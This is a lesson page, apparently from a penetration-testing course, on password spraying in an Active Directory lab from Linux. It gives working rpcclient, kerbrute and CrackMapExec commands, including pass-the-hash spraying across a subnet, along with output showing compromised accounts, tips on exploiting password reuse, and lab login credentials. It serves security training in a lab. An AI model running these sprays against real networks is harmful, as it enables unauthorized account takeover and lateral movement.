Internal Password Spraying - from Linux

Now that we have created a wordlist using one of the methods outlined in the previous sections, it's time to execute our attack. The following sections will let us practice Password Spraying from Linux and Windows hosts. This is a key focus for us as it is one of two main avenues for gaining domain credentials for access, but one that we also must proceed with cautiously.

Internal Password Spraying from a Linux Host

Once we've created a wordlist using one of the methods shown in the previous section, it's time to execute the attack. `Rpcclient` is an excellent option for performing this attack from Linux. An important consideration is that a valid login is not immediately apparent with `rpcclient`, with the response `Authority Name` indicating a successful login. We can filter out invalid login attempts by `grepping` for `Authority` in the response. The following Bash one-liner (adapted from here) can be used to perform the attack.

Using a Bash one-liner for the Attack

Using a Bash one-liner for the Attack

```
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5
```

Let's try this out against the target environment.

Using a Bash one-liner for the Attack

```
ipp@htb[/htb]$ for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername

Account Name: tjohnson, Authority Name: INLANEFREIGHT
Account Name: sgage, Authority Name: INLANEFREIGHT
```

We can also use `Kerbrute` for the same attack as discussed previously.

Using Kerbrute for the Attack

Using Kerbrute for the Attack

```
ipp@htb[/htb]$ kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (9cfb81e) - 02/17/22 - Ronnie Flathers @ropnop

2022/02/17 22:57:12 >  Using KDC(s):
2022/02/17 22:57:12 >   172.16.5.5:88

2022/02/17 22:57:12 >  [+] VALID LOGIN:  sgage@inlanefreight.local:Welcome1
2022/02/17 22:57:12 >  Done! Tested 57 logins (1 successes) in 0.172 seconds
```

There are multiple other methods for performing password spraying from Linux. Another great option is using `CrackMapExec`. The ever-versatile tool accepts a text file of usernames to be run against a single password in a spraying attack. Here we grep for `+` to filter out logon failures and hone in on only valid login attempts to ensure we don't miss anything by scrolling through many lines of output.

Using CrackMapExec & Filtering Logon Failures

Using CrackMapExec & Filtering Logon Failures

```
ipp@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\avazquez:Passwor
```

After getting one (or more!) hits with our password spraying attack, we can then use `CrackMapExec` to validate the credentials quickly against a Domain Controller.

Validating the Credentials with CrackMapExec

Validating the Credentials with CrackMapExec

```
ipp@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123

SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Windows 10.0 Build 17763 x64 (name:A
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\avazquez:Passwor
```

Local Administrator Password Reuse

Internal password spraying is not only possible with domain user accounts. If you obtain administrative access and the NTLM password hash or cleartext password for the local administrator account (or another privileged local account), this can be attempted across multiple hosts in the network. Local administrator account password reuse is widespread due to the use of gold images in automated deployments and the perceived ease of management by enforcing the same password across multiple hosts.

CrackMapExec is a handy tool for attempting this attack. It is worth targeting high-value hosts such as `SQL` or `Microsoft Exchange` servers, as they are more likely to have a highly privileged user logged in or have their credentials persistent in memory.

When working with local administrator accounts, one consideration is password re-use or common password formats across accounts. If we find a desktop host with the local administrator account password set to something unique such as `$desktop%@admin123`, it might be worth attempting `$server%@admin123` against servers. Also, if we find non-standard local administrator accounts such as `bsmith`, we may find that the password is reused for a similarly named domain user account. The same principle may apply to domain accounts. If we retrieve the password for a user named `ajones`, it is worth trying the same password on their admin account (if the user has one), for example, `ajones_adm`, to see if they are reusing their passwords. This is also common in domain trust situations. We may obtain valid credentials for a user in domain A that are valid for a user with the same or similar username in domain B or vice-versa.

Sometimes we may only retrieve the NTLM hash for the local administrator account from the local SAM database. In these instances, we can spray the NT hash across an entire subnet (or multiple subnets) to hunt for local administrator accounts with the same password set. In the example below, we attempt to authenticate to all hosts in a /23 network using the built-in local administrator account NT hash retrieved from another machine. The `--local-auth` flag will tell the tool only to attempt to log in one time on each machine which removes any risk of account lockout. `Make sure this flag is set so we don't potentially lock out the built-in administrator for the domain`. By default, without the local auth option set, the tool will attempt to authenticate using the current domain, which could quickly result in account lockouts.

Local Admin Spraying with CrackMapExec

Local Admin Spraying with CrackMapExec

```
ipp@htb[/htb]$ sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad091f

SMB         172.16.5.50     445    ACADEMY-EA-MX01  [+] ACADEMY-EA-MX01\administrator 88ad09
SMB         172.16.5.25     445    ACADEMY-EA-MS01  [+] ACADEMY-EA-MS01\administrator 88ad09
SMB         172.16.5.125    445    ACADEMY-EA-WEB0  [+] ACADEMY-EA-WEB0\administrator 88ad09
```

The output above shows that the credentials were valid as a local admin on `3` systems in the `172.16.5.0/23` subnet. We could then move to enumerate each system to see if we can find anything that will help further our access.

This technique, while effective, is quite noisy and is not a good choice for any assessments that require stealth. It is always worth looking for this issue during penetration tests, even if it is not part of our path to compromise the domain, as it is a common issue and should be highlighted for our clients. One way to remediate this issue is using the free Microsoft tool Local Administrator Password Solution (LAPS) to have Active Directory manage local administrator passwords and enforce a unique password on each host that rotates on a set interval.

Start Instance

OO / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Cheat Sheet

Get VPN Key

Target: Click here to spawn the target system!

SSH to with user "htb-student" and password "HTB_@cademy_stdnt!"

+ 0 Find the user account starting with the letter "s" that has the password Welcome1. Submit the username as your answer.

Submit your answer here...

Submit

← Previous Next →

Cheat Sheet

Resources

Go to Questions

Table of Contents

Setting The Stage

Introduction to Active Directory Enumeration & Attacks

Tools Of The Trade

Scenario

Initial Enumeration

External Recon and Enumeration Principles

Initial Enumeration of the Domain

Sniffing out a Foothold

LLMNR/NBT-NS Poisoning - from Linux

LLMNR/NBT-NS Poisoning - from Windows

Sighting In, Hunting For A User

Password Spraying Overview

Enumerating & Retrieving Password Policies

Password Spraying - Making a Target User List

Spray Responsibly

Internal Password Spraying - from Linux

Internal Password Spraying - from Windows

Deeper Down the Rabbit Hole

Enumerating Security Controls

Credentialed Enumeration - from Linux

Credentialed Enumeration - from Windows

Living Off the Land

Cooking with Fire

Kerberoasting - from Linux

Kerberoasting - from Windows

An ACE in the Hole

Access Control List (ACL) Abuse Primer

ACL Enumeration

ACL Abuse Tactics

DCSync

Stacking The Deck

Privileged Access

Kerberos "Double Hop" Problem

Bleeding Edge Vulnerabilities

Miscellaneous Misconfigurations

Why So Trusting?

Domain Trusts Primer

Attacking Domain Trusts - Child -> Parent Trusts - from Windows

Attacking Domain Trusts - Child -> Parent Trusts - from Linux

Breaking Down Boundaries

Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows

Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux

Defensive Considerations

Hardening Active Directory

Additional AD Auditing Techniques

Skill Assessment - Final Showdown

AD Enumeration & Attacks - Skills Assessment Part I

AD Enumeration & Attacks - Skills Assessment Part II

Beyond this Module

My Workstation

OFFLINE

Start Instance

OO / 1 spawns left